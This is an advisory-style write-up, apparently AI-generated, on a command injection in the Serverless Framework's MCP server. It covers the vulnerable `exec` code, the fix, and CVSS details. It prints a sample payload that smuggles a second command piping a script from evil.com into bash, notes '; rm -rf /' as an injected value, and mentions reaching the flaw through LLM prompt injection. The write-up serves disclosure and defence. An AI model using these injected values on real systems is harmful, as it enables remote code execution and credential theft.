CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-69256
CVSS 7.5|EPSS 0.04%

Serverless Command Injection: When 'Experimental' Means 'Remote Shell'

Alon Barad
Alon Barad
Software Engineer•December 31, 2025•4 min read
PoC AvailableNot in KEV

Executive Summary (TL;DR)

A classic OS Command Injection vulnerability in the Serverless Framework's MCP server (`@serverless/mcp`). The `list-projects` tool passed unvalidated user input directly into a `find` command spawned via `child_process.exec`. This allowed Remote Code Execution (RCE) on the developer's machine. Fixed in version 4.29.3 by switching to `execFile` and implementing path validation.

The Serverless Framework's experimental Model Context Protocol (MCP) server contained a critical command injection vulnerability. By failing to sanitize directory paths passed to a shell command, the tool allowed attackers—or confused LLMs—to execute arbitrary system commands.

The Hook: AI, MCP, and Living Dangerously

The tech world is rushing to integrate Large Language Models (LLMs) into everything, and the Serverless Framework is no exception. They recently introduced support for the Model Context Protocol (MCP), a standard that allows AI models to query local tools and context. It's a great idea: let your AI assistant scan your hard drive to find your Serverless projects automatically.

However, whenever you give an external entity (even an AI) the ability to "scan your hard drive," you better be damn sure about how you handle those file paths. In versions 4.29.0 through 4.29.2, the Serverless team introduced an experimental mcp command. While intended to help developers, it effectively opened a backdoor on the host machine for anyone—or anything—capable of interacting with the MCP server.

The Flaw: The Sins of `child_process.exec`

If you are a Node.js developer, you likely know the golden rule: Never use child_process.exec with untrusted input. Why? Because exec spawns a full shell (/bin/sh on Unix, cmd.exe on Windows). It doesn't just run a program; it interprets a command string.

The vulnerability lived in packages/mcp/src/lib/project-finder.js. The function findServerlessFrameworkProjects was tasked with locating serverless.yml files. Instead of using Node's native filesystem APIs (like fs.readdir or glob), the developers opted to shell out to the system's find utility.

Here is the fatal mistake: they took the user-provided workspaceDir argument and interpolated it directly into the shell command string using template literals. This is the programmatic equivalent of leaving your house keys in the door lock.

The Code: Anatomy of a Shell Injection

Let's look at the smoking gun. Below is the vulnerable code that shipped in version 4.29.0. Notice how rootDir is shoved directly into the string passed to execAsync (which wraps exec).

// VULNERABLE CODE (Simplified)
export async function findServerlessFrameworkProjects(workspaceDir) {
  // 1. Take input directly or default to cwd
  const rootDir = workspaceDir || process.cwd();
 
  // 2. Interpolate rootDir into a shell string
  // If rootDir is "; rm -rf /", you are having a bad day.
  const { stdout } = await execAsync(
    `find "${rootDir}" -name "serverless.yml" -not -path "*/node_modules/*" ...`,
    { maxBuffer: 10 * 1024 * 1024 }
  );
  return stdout;
}

The fix was text-book perfect. The maintainers switched from exec (shell) to execFile (no shell). With execFile, the arguments are passed as an array, not a string. The kernel treats the input as a literal argument, meaning shell metacharacters like ; or | are just treated as weird filenames, not instructions.

The Exploit: Breaking Out of the Sandbox

Exploiting this is trivial. The MCP server exposes a tool called list-projects. An attacker (or a malicious prompt injection influencing an LLM) simply needs to call this tool with a crafted workspaceRoots parameter.

The Payload: "/tmp; curl -s http://evil.com/shell.sh | bash"

What the Server Executes:

find "/tmp; curl -s http://evil.com/shell.sh | bash" -name "serverless.yml" ...

Because the shell processes commands sequentially when separated by a semicolon, it runs find "/tmp" first (which might fail or succeed), and then immediately runs the attacker's curl command. Since the Serverless CLI is usually run by a developer, this command executes with full user privileges—likely capable of reading SSH keys, AWS credentials, and source code.

The Fix: Validation and Parameterization

The remediation in version 4.29.3 introduced two layers of defense. First, they stopped using the shell entirely by migrating to execFile. Second, they added explicit input validation.

They introduced a validateWorkspaceDir function that checks if the path:

  1. Is actually a string.
  2. Resolves to a valid absolute path.
  3. Actually exists on the disk (fs.stat).

This "Defense in Depth" approach ensures that even if one check fails, the underlying execution mechanism (parameterized arguments) prevents code execution. If you are using @serverless/mcp, upgrade immediately.

Official Patches

ServerlessRelease notes for version 4.29.3 containing the fix.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 99% most exploited

Affected Systems

Serverless Framework CLI (Experimental MCP Server)

Affected Versions Detail

ProductAffected VersionsFixed Version
Serverless Framework (MCP)
Serverless, Inc.
4.29.0 - 4.29.24.29.3
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS Score7.5 (High)
Attack VectorNetwork / Local (via MCP Interface)
ImpactHigh (Confidentiality, Integrity, Availability)
Component@serverless/mcp
Vulnerable FunctionfindServerlessFrameworkProjects (via child_process.exec)

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1204User Execution
Execution
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Exploit Resources

Known Exploits & Detection

GitHub AdvisoryProof of concept demonstrating directory traversal and command execution.

Vulnerability Timeline

Vulnerability Timeline

Vulnerability identified and patch committed (681ca03)
2025-02-17
Serverless Framework v4.29.3 released
2025-02-19
Advisory GHSA-rwc2-f344-q6w6 published
2025-02-20

References & Sources

  • [1]GitHub Advisory: Command Injection in @serverless/mcp
  • [2]Node.js Documentation: child_process.exec Security Risks

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.